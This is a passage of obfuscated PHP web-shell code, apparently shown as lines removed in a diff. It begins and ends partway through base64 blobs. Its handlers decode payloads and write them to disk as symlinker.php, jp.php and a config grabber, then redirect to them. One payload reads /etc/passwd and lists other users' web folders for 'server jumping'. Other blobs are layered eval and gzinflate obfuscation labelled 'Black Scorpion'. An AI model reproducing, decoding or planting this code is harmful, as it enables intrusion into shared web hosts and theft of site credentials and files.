DdVU0RtclNLbEtxNlMzSGJUQU03cTcvalkzQXNOZnpsK1RDai9jVDFualZTY2oyZE16Wm9sZ2ZrSENNK3VDbUk4WHk4bWJ1dWdQU1JFdTkwczIwWnRXcjJ4VC9IRnhUQW55YjU2ZmJ1UUdXM2FDWWpHblFlRmxJTjVlQjV4T3BxVWU5Q3JLeUJuZVlpWVZxcHZWKzRJMmRpN1VzeWdzMjhLa3NtQjVBNFFKcGlHZ3FwcDBjR040UUttSnE2d0o1YmtaSFEzM0J6QUwzYkVtRFNma09HSFJNelNqelZyVGpCcFdTc29OUVZ1SFZlWDNKaFdTZlRYaEw5OERNYzU3RGwxalVuOXVtb2xEeWlmKzZZdTdGZk94Q3p2d3g3WW85amdhdXBvN2RnMmtCS2kyOFlQMEpDYndMK2hoVVNweGNXVFk2OGxybHVNWEdGdEZGQndDbjQrUm1Ha2NjRnBUcUdNQ1JIdWpORk1ISStGM1NOYnFWWk01WnRsSHpkbUcvTFhpamtXSm9TNS9HMTF3UlF1NmtpYm1LdWZNT1V6d25NVDk3cjRZZFhRcjFLSHNyMFNCTnZwdWxYWmRSM1FhamZMek1FTE9BUVpVUEFyUHQ2S1UyWFUwdjVKbjlML2R4aXYvOThuVzVvb1YvNUUrbklmdjZSaDFZaFdsajJHTTRwMmV4SzlRQ1MzVHNyelZ2YXUzdTJ5WEl4cGk0MW1rNzNPaGI3YVZ0YjZabm1OU01ldlJldTRUMjMzOE5FSFJKc0xDTnRETmFCV2xGbGs3eGpvMjI1dlIxV2JJWS9UbmNrNlFxb1lCUDBpd0p4Y3VYY1BjSDN1S0U5cm9tY2h3OEhlSEhsYlpJSmc0WHoyL3pUczQ4dVV6Ylc3T3Z4ZlRkMnFYcmQ0R3dTVTNsakN5cnkxdGVZWnJlbDFDbjgvSWlNZUgyZXlad1R4M0VWMStPdUFuN2xIWTdvcGJNSS9RaFFvNE1zWHJIVk5NVXV4WGY3aDVKdk43K2paQmNRNEg2bElYamVFRkFkbW1wd3hUempDK1FYRUdReW5yNDRHRGZkWUtRVTFBcjV6UTRVQ2txV01xNmcwZ1RDQksvVnQ0c2RXYTFBL3RoSW0vMVJsQm44VVZDR0tiY3dpNUxnWXJsTWxleXhvVE00QkRYeFFUVjA2WVJZeGpvdCs2cHdrY3ZSZEYxdGxONVRMdmVud1hsWUFLSFdNUHJ6d2dZazRBUnQwMXVuUmJvUW80aG9HWFlydncxUEVuQlQ0TjlkdkdkZ3Urb1RMOGFUTTFaYmNWSlpyQWw0c00rK2FGMTl0OTQ0VVEzU0cyL3hqVzFzSVdvNG1wZmdKUXFReHM2K0pzK29kUHMvcnFXZCtCdzNTMlhRU3hNcjN6WHlmeHRrcmVtdjlyRkRaSFdxNDVaUEo3WTVhTG1nTlpEVFJYOW96c3VhblFFYTJWMHA3MTdJcmdFdWdDWmowU3BQVjVvY0gwL1dFUDg5VlRJSmN3TmtZbEpiTHE0MFZFdngzYTYxbU5zTWNVZldia0xBWU4rMXdrYjI4QzRzMlBGbHNlWFd2MFhMdFN0RmtvL05ybFVUL25rdStHcDVnanVTSit5VTIwN1hJRzBPK3B1SGxhQTQ1cXN6UnpacGdNSjY2VmNqbEZEOUhYRWI5bU5QeGFPc2RrVThOd3lDZ3lycnJHeDBFSllPS21GMzNCbllLNW5Qbm1kaGl2ci9UaDhxdTdjcmh2dDFwRmNNZzk4c2xWeGowRWF4WG1FQW0xQ1JZWlNvYTd6d3ZIaEdqMHgrQlB6N1RNeVhpVEdkTTAzdnJIclY3M1pMTHliZGxhM2FxanlHcHU0NG9hSWFlV0dqS3Bnc2w4cXRPM0RGdnltcTY5TDU5RStQSnE0YjBPZWhWeE9DemtRbGZIRnhyUGtSalp3UFRpMzE1Z3RtRkxQVVRkcUhVWEE3OU1Da3FhZE9tSlZBRS9LV0dScnE0aU44Z0dsNXBVVnBKR09ycDdLajB3NlJyeFl3bjRhRTNmMmphM0x3dW5TYThZWGx0anR6bnZjckV4N1lOYTMrL3ZUZjAzOXpNOGRva0xQR3NmcmNjdSt2UllnUWFlTlczcVpCQkx5UU5ITnI0cWJOeklzMVMwUHEybEl1S1pneXNZVWxTNjQ1VVZaV1MrUkNqNUIvSEhUc1dGNU5PTDYxR00rakNtcGpQNjh1UjhHMlRFdHNCdkt0TXluNVErREJtSlJSTkdVZnRqcUFLWDNNZDkvU0ZSRDlTM1NsMTV3TGZxS09tYU9NbUs0eU5JbnNtYTh0NUhVSmxialQ0bDFBSGFJS01jbTZJb3ZJRFFZVlUwMnNYcnZyaVNsY0I0bFp1Q2FZYjFUcG9DWk1vM3dqTExDN1NERzR4ZC9XZFh2QmhTVU5ickozcHR0Yjk0bk5FNElvVzRBZEVJWWtKMFIwRkI3LysrTzJTOFdCdXlMS3JqSkdIbng2clFhaXZJWDk3aTB1aEZqTVE3M3ZsZjJsRW9ldVhMK2dCc3h5UENubytiMU5qeVVsZDNyUlhmUjNvSm1RUkl3YjVuUVhLVHM5eWg1VVpOV3hhcmllN0kvK1QzU3ExdVBhWTlHQzRUREt6NExUSm0xdFkxV0JWN3U3c042ek8zK2E0VnFrcHhmdFZlbzRPZEVxeWRlUTdGWXlKVlhVZnBxZm54Sk1kMWZubGU5V0txcVdtc2RiZFB6VUJseUl3U1huSEpmdHhNQi8rMDcyUCtlWC9yKzRIeUtEemtEd2tkU2ZpTkxUYmdkWXpQSFhqcnpiRUh0TmJJSzB4ZDd6dER4TFBxUjJSRjIydlI5RHNsK1AyYUdZbW1xUHptTlYwUXZvSDdFUk05VndqczlkbXkzWTIvMHRXSFBzdzZxQlBTN0JtTmJ2TUxEZkhsWkdxQzExNk9CL0R2VHpmU1crejJsMlNZSyswWWtsaEIzVGMybWtzc3ZxRkQ5RGo1K1gvZXMwdVpEYzhHdk45c0N1NERSaFNvSzVaWmsybkRrcXZhRmp6MitFZDN0a2MwZkpJRUoyMDhSbytzRlR1YXNrSGkyRnRrUlIya29VQTkxNDhvOXZzeWhyOEliR2hPUWpEWDFmNTdIc28xUm0raDdjL2xRb1ZYZUdOTWluSitMS21rdTlIWC81WGtlV2JrL2RvWmI2OU5OOE9ybk4yL3hjUk1FLzVsUkRpSUlmRDdwcVVNVFY0SGZSd3VGM0lSdGIxNEdlcjZ6dFZvTlFnUlJFemMxK3BMY2dqQWswU0JyaVFQNWlUNkFjckg4ZmdCVi9yQ3A2cW5WUEpJNXJ1STRuQXE3ZEFwTWwwUUNQdUlJM1hFYktiMGY1QTNMVjdzeTBWSjM3bWszdFlBczMydkYvNU1VN0xORVBPMW9DK0ZYUXI3UXh3TjBhVFJnbTJkSzJVUnkwcTJKS3JyR3FJVEg2S3gvSG9JWm83TGlFL0k1M2lxdUxaZEJKUUVCZmxKSmQreTJqM1p4K2xzbXNqUWkzWUZxLzl1RGcrRzRRYUJFR2MzalZVck82MDZCcU5vQXVMR0IrMERuTnBvL0dXVndiM0taNE5Rc0VwTk1HKyswc213QWxIQXlKdlB4YkMrN0lYK0xPQ0kwNHY3STU5WXd0QjUrd0VjeTF0dXdQS3l4eHhtaVVtSVp0RjYwNCt4OGg3cUVNN011M3YybGRVcUlHMkM3bDZYRndQRlRYMTZVWmwwSnMrdnFFWWIwWldhQWp3UWVodzIyWm8xdjFiOWcyWUxMVFdJejZJZlAzR20yZFJqSlAwOTE4Nld2Z1RKREt4Y1RGRmUwMDFmMDM0RUtmcHJxZ0pubHlpNDJ3R1ZGRC9HYm9KTmZsUXdIUmRKS3dMMzJWVVZMSkxZc0FIeDZIdTB6TENLN0pGQnNqZUoydkJDaTZqb2M4TGVMN3lqdlgvMkxCbEVER0E3dkNidUlVK0dHcFVtSVpUODl5TlF6Tjdyb3lzNDIrVHBYUkdIOU4vRTNubWg1M05aY0FDYkJOc0ZVcXg2RWYrMWtNTzFhbWtGWjFFd1NYVVdENzNOSzQ3QnJ4WTN3MWlQQ0RJYWxvTmZTY3J0ckVDUWNkazBDQWZhK1FPUmJyVUVvYmNuaEpMNEdRM2pQdFdyQ2lUTWhKcDR0VHFvUVBaaXF4eW5hR1poMzkyUU9ZRmRwbXFYZElKc0lUaytLcVJZQTR6cXJKb2M1dEwvMlFwY0ZNbkxZWFNQU3FxR3ZGdUxrT2RpZFd1Zmt6bDFBRi9wSUlGYXRicGFKRnQra3NkU3N3NFcyZHl3eTFIT0tra0hObmNwMmlzMUVCN2krMFNWa2x3WGVKaVdablRWZVZkRmpxK0xka3oybk9iZ1BsZUorVDhia2NTcGdjWWwwTmtQQ1JIMWE2UFlheXQzQnVDbVZPVlN3aUlwaVVpbndsQlVVc0lRbS9mYUEwRll5SWR0T21KKzlQV1pMdnR3QmRsQXBYOXo3d1FhbHoxMzhjOGpGMlpYWEZ4SlpkUjFwRGZscUs0K3ljdWtLeUxyZXBlaVhCZE44UGxuaXFaR0kzdm1Md2JIdEp0NjBlMWprRjh0S2ZkcXozRmIyQ1BNaFgxb2ozNVBBaU5QNWxGZXRoSXkxdXV1VkJuc1hLZ25tZ2IwSkJiR3c5NENIMjROT2tLWjRvN1l1ODZ3d0xzK0gwbWk1Mkd0Z2t1ZWk5RTBpeVZIS2IzbGw3akt5OTFxTGpsUW5DQ0Zuc01EUTJ0Z2ZDaEZqdDJwamJjNWZPNzYzdm5idm1lN2I2OUpRT0puLzNuMER6eEpvZy9NNFA4RXV5amNrakwzUGdvMzFLcVJ1M3NIN1JVeXAyWGJsVUh2bXJlQk52N1FGWG53WVVOM0laQXBNMzhheGxKZENuWXlxV3RmYUplOUdqN3BIcmlralhXZjV4cFRQMHgrbmVjRG1kQ1FIQ0ROV1pXZENVU0tiZlJOSkRhVHI4Y2twSlA2NENOczNkSVdRR1pMdVJVRy8rWE1yMlB2RUMzZlpmOUxyb252Tjhwbzg3MlNTZHlTUHRwM1NrWDMwS2NDbi8wZHZFT2dRMS9yc2NBdDZ3dmg4amdkUTNDL1QzSHNaRDd3TEFFWW8rUm1zbEVHQVVCWE51TlNzdWpid2QwaktWWXQ4UzIvWVlpdlM5ZnNyS01MZTl4NkpndVJzVFdQalQwSzlnNzM4YWhxUFY4MnVYbk9pOVh1a005ellabTlnZmdBQy9OdG1GR1g4WUJIdFh6dTA3WG52SXVNM2VwMFZvY0ZnYm1MZit4RS9nd054cDRCVTdxd3VPdFdreEp6ZWJiYW00Smp2QWt2NVU2R2ovUmpHTXAzK0dyZkE0MUE5b1UxekpwSVo2UFBlZ0syZWdIOWI3Kzl0WGY1NmVhUHdlRFI5MGZUMTRIZmJxMnlsdEljWXNuQytEc1cvclh2MUFtbTYrSDh4Z3prTWdEZ3VHQThHVzZpdlRGZjJnSjVIbmRuTDFlWEFleWowY1Z6RkMycS9IS2hYaDZyaEkyckwydFFEWnRpbkUzWTdJMzFMbDZSTDM2QW41czlmS2R5ZjNmdEpId3poM0xPZUJYZXJ6Ty9RSCtaS2VDZkxlU2svbjNLa2lCc0M4MjN4ZXVIY1lJQlFFZWVkdFd0ajU1WmpVeitYRVJ4TnpScWhDOHgydy8xNVRJcHBWWXpJd2R6d09la2R6UjZlNGpwWUkvTjcrcVBDWVhuM2IxVS9zWWpQb3BOL1BKVU5GSkJ0LzBpKzdVY1FMWDNSaE4ra1dxRE5ZMjZoUHpyUk95UVhXczF4QmRYcVA1N2VlRlhUVnZ1K1crdXRuWDFuOTJPdHZZaSs5SjQ3SlhwaDNSUXZYWFRNYTU0RGp2cWhKaTM2dmtKTkxnZm5VNjhFcjBzUTdUNjVuT0xVa1lXY0NINVRWSjNxZ1VHSFd3dG5CR3ZCYkMzU2ZhQkI1UHVkL21KRTdEZGJpankwYVFERExsTEVjdWNFdTI4K2RYTW1Jd2VoZDF5blRDQVVIVUxMZXdDMFFSaHZ4d0g0dkNEWWpkcFBKeTcxMFR6ZGpTcWtoald5Y3RTN1Y4TTY1Y0hoa2tTUm11OHdiak1Id3J3aXR1cldaYzREOUZxRmp0N3poYXFkNU1SWUxQNzJOZDFyZ2tqMXUvdHlrRkkzaUhiYklQSTNnZDhvRDRudGpicTlhSUo5U3VSRTVUdk9RS0R0WFROOG5FV1dmaXhUVTFGd0hCNEZUMTllZG5ENkJROHNnOXUxUTZIS3gwNXR1R2ovUXJyUlRJNE5YYityb2MwdHdEWlRmZjYvYjA5SUdieWo4S0VXZ2dZbjJJQVQzeGp0T3ZjVWNYTnZBRHNGRmYvQUlWZ29sMVZaeDdVTk4yMzNaem4yZW5ITzRlT2laMkhqRERGZWpGNFovc1BpUEUrL0NHQVIvOUtBcDhoL0E3eFI1RGpEUjlQdEJRemZsQ1F2ZklPUUhNdS93UEFtL3pVQVcvVDVBTXdqM0RvRW4vLytJSGduL01jMTZjdys2SUtJLy9ycWE4QS8xYUV5SSsxNTlXRFNvZzRYai8rNXZ1OTdKM01PMmhabW1HbXkyZmFiZFB0RHA1SW51MzV0M1JIM2N5Wm4zZG5UTzFkM2dCd0FNd0JJbDVjRmNpSDU1dWhSQndKZWs3NkdSRkFuNFIrb2J3VkFjaUg1WXV4WkJRK2tid1dBazc0R3hGQTVKdWhkQlFPaGJzWEFrLzNHQUdBNTZ0UmhCUWVkYm9ZQSI7IGFzc2VydChiYXNlNjRfZGVjb2RlKCRzeXN0ZW0xKSk7IGV2YWwoYmFzZTY0X2RlY29kZSgkc3lzdGVtKSk7ICRhc3NlcnQgPSAiPW9PR2ZNSkFOQUdRYW1hbVpuY2k1a2tLaURHVE5QMWlTSXBzQnFjTG9VZFNQNWNUSjlranF3Q1NPbkV6TTVjVEk1U0tObk1LSUh0S3Q0a0xzc0VuNDlQd0E4VEEiO2V2YWwoZ3p1bmNvbXByZXNzKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKHN0cnJldigkYXNzZXJ0KSkpKSk7IGV4aXQ7Cj8+';
- $file = fopen("symlinker.php","w");
- $write = fwrite ($file ,base64_decode($symlinker));
- fclose($file);
- header("location:symlinker.php"); }
- if (isset($_POST['jumping'])) {
- $jump_ing = "PD9waHANCg0KDQoNCiRqdW1waW5nID0gIlpXTm9ieUFuUEdoMGJXdytQR2hsWVdRK1BIUnBkR3hsUGljdVoyVjBaVzUyS0NKSVZGUlFYMGhQVTFRaUtTNG5JQzBnU25WdGNHbHVaeUJUWlhKMlpYSThMM1JwZEd4bFBqd3ZhR1ZoWkQ0OFltOWtlVDRuT3cwS0tDUnpiU0E5SUdsdWFWOW5aWFFvSjNOaFptVmZiVzlrWlNjcElEMDlJREFwSUQ4Z0pITnRJRDBnSjI5bVppYzZJR1JwWlNnblBHWnZiblFnYzJsNlpUMGlOQ0lnWTI5c2IzSTlJaU13TURBd01EQWlJR1poWTJVOUlrTmhiR2xpY21raVBqeGlQa1Z5Y205eU9pQlRZV1psWDIxdlpHVWdQU0JQYmp3dllqNDhMMlp2Ym5RK0p5azdEUXB6WlhSZmRHbHRaVjlzYVcxcGRDZ3dLVHRBSkhCaGMzTjNaQ0E5SUdadmNHVnVLQ2N2WlhSakwzQmhjM04zWkNjc0ozSW5LVHRwWmlBb0lTUndZWE56ZDJRcElIc2daR2xsS0NjOFptOXVkQ0J6YVhwbFBTSTBJaUJqYjJ4dmNqMGlJekF3TURBd01DSWdabUZqWlQwaVEyRnNhV0p5YVNJK1BHSStXeTFkSUVWeWNtOXlJRG9nUTI5MVpHNWdkQ0JTWldGa0lDOWxkR012Y0dGemMzZGtQQzlpUGp3dlptOXVkRDRuS1RzZ2ZRMEtKSEIxWWlBOUlHRnljbUY1S0NrN0pIVnpaWEp6SUQwZ1lYSnlZWGtvS1Rza1kyOXVaaUE5SUdGeWNtRjVLQ2s3SkdrZ1BTQXdPM2RvYVd4bEtDRm1aVzltS0NSd1lYTnpkMlFwS1hza2MzUnlJRDBnWm1kbGRITW9KSEJoYzNOM1pDazdhV1lnS0NScElENGdNVEF3S1hzZ0pIQnZjeUE5SUhOMGNuQnZjeWdrYzNSeUxDYzZKeWs3SUNBa2RYTmxjbTVoYldVZ1BTQnpkV0p6ZEhJb0pITjBjaXd3TENSd2IzTXBPeUFnSkdScGNub2dQU0FuTDJodmJXVXZKeTRrZFhObGNtNWhiV1V1Snk5d2RXSnNhV05mYUhSdGJDOG5PeUFnYVdZZ0tDZ2tkWE5sY201aGJXVWdJVDBnSnljcEtTQjdJR2xtSUNocGMxOXlaV0ZrWVdKc1pTZ2taR2x5ZWlrcElIc2dZWEp5WVhsZmNIVnphQ2drZFhObGNuTXNKSFZ6WlhKdVlXMWxLVHNnSUdGeWNtRjVYM0IxYzJnb0pIQjFZaXdrWkdseWVpazdJSDE5ZlNScEt5czdmUTBLWldOb2J5QW5QSEErUEdadmJuUWdjMmw2WlQwaU5TSWdZMjlzYjNJOUlpTXdNRGd3T0RBaUlHWmhZMlU5SWtOaGJHbGljbWtpUGxObGNuWmxjaUJLZFcxd2FXNW5JRVpwYm1SbGNpQldaWEp6YVc5dUlETXVNQ0E4WW5JK1BDOW1iMjUwUGp4bWIyNTBJSE5wZW1VOUlqTWlJR052Ykc5eVBTSWpPREF3TURBd0lpQm1ZV05sUFNKRFlXeHBZbkpwSWo1RGNtVmhkR1ZrSUdKNUlIVjZZVzVqSUh3Z01qQXhNU0F0SUZSaGJtZGxjbUZ1WnlBdElFbHVaRzl1WlhOcFlUd3ZabTl1ZEQ0OFptOXVkQ0J6YVhwbFBTSTBJaUJqYjJ4dmNqMGlJekF3TURBd01DSWdabUZqWlQwaVEyRnNhV0p5YVNJK1BHSnlQanhpY2o1RVpXUnBZMkYwWldRZ1ZHOGdPaUE4WVNCb2NtVm1QU0pvZEhSd09pOHZZMjlrWlMxelpXTjFjbWwwZVM1amIyMGlJSFJoY21kbGREMWZZbXhoYm1zK2QzZDNMbU52WkdVdGMyVmpkWEpwZEhrdVkyOXRQQzloUGlBdElEeGhJR2h5WldZOUltaDBkSEE2THk5b1lXTnJaWEl0WTJsellXUmhibVV1YjNKbklpQjBZWEpuWlhROVgySnNZVzVyUG5kM2R5NW9ZV05yWlhJdFkybHpZV1JoYm1VdWIzSm5QQzloUGp3dlptOXVkRDQ4Wm05dWRDQnphWHBsUFNJeklpQmpiMnh2Y2owaUl6Z3dNREF3TUNJZ1ptRmpaVDBpUTJGc2FXSnlhU0krUEdKeVBsUm9ZVzVySUhSdklEb2dXVzluZVdGallYSmtaWEpzYVc1cklDMGdTVzVrYjI1bGMybGhiaUJEZVdKbGNpQXRJRWhoWTJ0bGNpQk9aWGRpYVdVZ0xTQkVaWFpwYkhwak1HUmxJQzBnVEhWdFlXcGhibWRqY21WM0lFRnVaQ0JCYkd3Z1JtOXlkVzBnU0dGamEyVnlJRWx1Wkc5dVpYTnBZVHd2Wm05dWRENDhMM0ErUEdKeVBqeG1iMjUwSUhOcGVtVTlJak1pSUdOdmJHOXlQU0lqTURBNE1EZ3dJaUJtWVdObFBTSkRZV3hwWW5KcElqNGdJQ0FnSUNBZ0lDQmJMVjA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDFiSUZOVVFWSlVJRjA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDFiTFYwZ1BHSnlQanhpY2o0OEwyWnZiblErSnpzTkNtWnZjbVZoWTJnZ0tDUjFjMlZ5Y3lCaGN5QWtkWE5sY2lsN1pXTm9ieUFpUEdadmJuUWdjMmw2WlQwbk15Y2dZMjlzYjNJOUp5TmxaVEE0TURnbklHWmhZMlU5SjBOaGJHbGljbWtuUGlCYksxMGdMMmh2YldVdkpIVnpaWEl2Y0hWaWJHbGpYMmgwYld3dlBDOW1iMjUwUGp4aWNpOCtJanQ5SUdWamFHOGdJbHh1SUR4bWIyNTBJSE5wZW1VOUp6TW5JR052Ykc5eVBTY2pNREE0TURnd0p5Qm1ZV05sUFNkRFlXeHBZbkpwSno0OFluSStXeTFkUFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5V3lCR1NVNUpVMGdnWFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFZzdFhTQThZbkkrUEM5bWIyNTBQbHh1SWpzZ1pXTm9ieUFpWEc0Z1BHWnZiblFnYzJsNlpUMG5NaWNnWTI5c2IzSTlKeU00TURBd01EQW5JR1poWTJVOUowTmhiR2xpY21rblBsc3JYU0JUWTJGdWJtVnljeUJvWVhabElHSmxaVzRnWTI5dGNHeGxkR1ZrSUh3Z1ZHaGhibXNnZVc5MUlHWnZjaUIxYzJsdVp5QjBhR2x6SUhSdmIyeHpJRnNyWFR3dlptOXVkRDVjYmlJN0lHVmphRzhnSnp3dlltOWtlVDQ4TDJoMGJXdytKenNOQ2c9PSI7IGV2YWwoYmFzZTY0X2RlY29kZSgkanVtcGluZykpOw0KPz4=
- ";
- $blackscorpionS = @fopen("jp.php", "w");
- @fwrite($blackscorpionS, base64_decode($jump_ing));
- @fclose($blackscorpionS);
- header("Location:jp.php");
- }
- if (isset($_POST['confg'])) {
- $confg = "PD9waHANCi8qDQoJCVRoZSBHaXZlbiBDb2RlIFdhcyBTdWNjZXNzZnVsbHkgT2JmdXNjYXRlZCBCeSBCbGFjayBTY29ycGlvbiANCgkJCQkJCUZyb20gOiBodHRwOi8vMTI3LjAuMC4xL3NoZWxscy9lbi5waHANCgkJCQkJCQkJCVRoYW5rcyBGb3IgVXNpbmcgOkQNCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCbGFjayBTY29ycGlvbiBPYmZ1c2NhdGlvbg0KKi8NCiRibGFja2llID0gIlpYWmhiQ1V5T0NVeU55VXpSaVV5Tm1kMEpUTkNKVEkzTG1kNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZhVzVtYkdGMFpTVXlPR2Q2YVc1bWJHRjBaU1V5T0dKaGMyVTJORjlrWldOdlpHVWxNamh6ZEhKeVpYWWxNamdsTWpSQ2JHRmphMTlUWTI5eWNHbHZiaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVelFnMEsiOw0KJEJsYWNrX1Njb3JwaW9uPSAiVVRzSVFGQXdUeTJJNytpdmpZN3pGUmFzVFFBb3JDcjlTY2FvaFVob3pDWXhjVzhGUGdaR2pmd2s0Tk81Tk9JSFhrWWtKTzdndTN5Yi90REN4cW5hV2t2ZmFZTEEvL2E3OVBWNXFpangrZWMvNXpWYy9qVy9CbXp6UzQxbjJmNlcvU2x6KzVaV3ZuL3BNUzcyS1M3OC91VFh1YzFmdTF5OGUwT2ZFM1VTV2NkMnB4b3BOamZUSlpaMitXQWprMHMrN2R1cHZ4ZnZyQW1ZNHpFMmp3MDM1K1hKeDJYZW5KdHJtOVdxaU41TS9WYWhlMDg4aGlVZ1k5YjQyRVFQRytDK2cxS2dUK1FyeUIwTnI0Qm1RYTVMSDRvU3VuOE9GQ1dBV05aT2FoQ28xKzRSUmF2eUJ4cTlGSng2ZXVyUGpKVHNNVmQrc2RxV2lYclFpQVlsVkhNOHJHcFRHelZERXBNYUpUamRQTTA5YVdGNFBZRU1hK05EeEx5SmhRcEhzVXg2OFVvdElFZ0NkVEJhbUNHMW9OdUFSYklzSFM4VXBQMHJZdTZWSkFjZDM1S010aGhMb3JxRW9XcVREa2M1VUN5WUQvYWU3ZWxRQnp4Z0N3NnZ3SnZ1RGIwSzdoK25hcytVeHlISjZoanNCcWVEdlc2ekJmY0JlcGxpaXdkSDNmbGVZSWpNRHR6a29QTTNURktBcHVEeEF1UkJOazAzT1IyMklBQWcwQStIQ0JXcVV0YzFMallBUW1Vd1hra3FlaUZJUmFTWldYSnh2R2lSakd1d0VFaDBMUko4bmxHTDdsZUE2Uk1iVVJ0Z0FMY2kwNmxBUTRxbE1lSGcxQ1BhZ2NtUGxva05NL0pha2diMTJnSjlxb0JSWndUYnRTV1QrZTA1bFFDNlZEMmRvL0VPRi9pRTF6Q1BPaFVQNUR6SkFyNWtnL1U0TUFDRkcyOHVPUUJnNXg3SGYreHBEUmttemJZSmNJM1BGR3V5ODd3UXlldUo4a0JIaEsraGNBQkRaSk1SbWNXaS9HK0Z5UXpsRlZzbjJCZ1d0NjNVd0UzWXZPUFR0YUd4UnZZVVBTMHpuNktobXFnQlNjREo4TkF6emMrdVk5emZFQmlMckpnM0Jkdk1WQm85SVJGdGd5cEh5ajM3YTdxcm10R1MrSVFwZmo3UUpTQlJMVEVtdkphU3I1VzIrbHNPck00eENPVzdTcjdTb2JsdUFzVkdvQ1VITTYyTjBhTGp2YlhzR2FxM09ua2kweTBTRHBQVVlRcXVWTndFTkJnc1hlcmxRRlhPRXVzYzFyenA4UVZ5UXcvQzZsMGFnMEQ3N3NvYkd3bXFQRUI3UzNYelpSMi84aDA0dk82SkZsSERobDJER2RWeDBrc01TQ3ZrbFlscXdoNUl1aVNRWVJHQzFuejVKNDV4eUkvS1hWNU44RnRVUG1MM0trUVE5MmVNd0srTGFOZVVOUHBDREZ6N1lVMDIyTkxTbElDS2k2WFdVYU1aSWdYRndWK3VoZEdOZzZ6Y29paWhMaGFCN1E1dExzd1pJQnBsVDZkMEdIaFZ5bzhTZEIvTDl0ZmY0b2Z3Z0kzUmY4RGswOEhWdUVGZW0xUXFUUmFDYlkyMTJKRW9pbTJWU2tIT2x5SzhaaktlZTJiWHh0M2wreW5yeUFoYVlKUU9OekpSRUl6a0x5SG1TSE9Ya1RvTFVjaFMrY1BzMUhMeEJLRlo5a1dSb0lCWTVLTGtRaDJOVC9nTEVwWmJxTFQxS29MK2QyNStYN01jMndORnN0T1A0OVR2THVMckxOQVZoeXdRUjdVK2tWbmdrOGVZTE1QUCs5RlprUHdqWW5LV1B5bnFCZ2grYW1mdjRNVWs3NnA4Q0gwTHpHL1M5UzI3YjZNY2oreEdSbFlQYXl6bFhRcTFoWERuQ2pwU2o2OGJoYWxBSHRMVVVld0pMSUg4NTdqbkJ5ekUwQ20zc3p1TUluRFc3a3NUQit3amQ5azJicHVBMHc4NkdNZlliRXNPY0lRc1U2VWZYTm80OTdvSkJleEZuS0xUK1gvaTdzaEN5NjYrZWZOclF2RnpzQnJhWjRCcW44N2FhNmJRVjdpdjJwR3BGd3FYYnpuTUhGWkMyUlhsUVYrdzNLZm9VajBOcDV0YkhVVDU0RXk0Q0lsUEJyc2JHdEs1aXp4dDVSSTJkRmtuNTkrSW9heUhyNEF0eHVHM1J4dXdidnE0UWJVL0l2clFxWktHcEtsaVlKRjJ1L3pmekJJTG9qaldOR2ljeWFyTndvaW5LM1lOcVVpRE8yNlkrZ2hzODRIcEVMRkJha1l0Qi82WjhjZHR2THJCYUp4RlByTndpbllQcFBCVU1xN21BVyszSitwN3B2Q1NIMytQM2R3cXRsOG84cUtIcUE3OGx4WHVmSjFsVlpkZ0xPc1k0U0VOME9UU1ppQmNwVDlnelJubjg5aGNsWW5IcGRXY3RIVkpxYzdLWVBrRko3Wi9wb20wTmpYdFdTaUN0Y0hpbTh5Z29qZ2VZWW50M3lBbXFFS252S3Y4TE5qT0RqOWdhWXMzNUkwcVJrTHJucmhPSG41d2RVU0NKUkdHcjdPeGk5NlZnSmpLUjlSWXlDenNwZndMV3NIMG9xNCtZT2pOOXk1elhtekpSYWNyeFFYTUNmTGplKzBWcGxaQU9qTE8wd2pwaC9JTGJqbkJsUWp1eHNadGlEcmlqcHc1KzV0ZTJaRmxwNi9BNk9WT0xkVEZOaDhvYVlLaE9rRnFWcFcvTTRwcHRRV254RTdFemdqWUVqRnVyNE5JcFlCdXZFenB1R2YySzBtdDFIZElOZmFNSXRtREJVOThmQWVyRHZYeXRGbE5OaHV0MzV6Y1g0TVZ3dDhSTUJSYXFSa0ZaRG1zNFpHbk8rSUZzVVBMTXlnZFpaa1R2ZjJ6b0Q4ZWNsblhjVFJLSUJkQUZMR2kwSEVKNjd0ekx2R2dWckthYUxqQlhWbmNNTXgzZ1VWd2hVdU1QbUw0Sjh2S0NSakJ4MUh1V2hkV3d1TnBVR2hmak5nZVJJVjkrV1dlMnZyNmhCd0NkM1lKbWs4MkI1SkZIb2E5Y2pNdlRib0JMcmJRWmlYNlMxeEw0SldmaTdreStkS2txL0kzSGZlOEJQVjJUUTgwOUZZUEh1OE5oVWJkZFh3ZTNqQml0a1N3MTNaZHk4WGtUMzFtOGNQRXYxMWJ0V1NkNjJBWXlMVU1udityc0t4REI4aTVTa2VFcW52ZHo0b010RXVFN3lKWnhNdDl3UGRlTGhKSXE1Kzl3RE53SmpjUU11WXN1YXhPS1R6VVhIT0Y3akpuZXJIcEx3VEFMSVFhaEJjUlo3RWRiM2RNb2l0S3F4Q0pXemwrWm04Wlg2MWJvVmNYa0FyNDJsVXk2eG5JeVVYVWVNeE1zUFRxSFBFR3JvTXo2NHZ2WjRhRXJWQjcxYVdyZDJuNUtmQXVKZnBtVGRBR05ZcnRoQzdWNDljSGt4ekFicWVEN0R6RVpZd0VKY2RjVkVqT2NoeUFRM2dkSTdzbTFPT3lJeE5qQlFn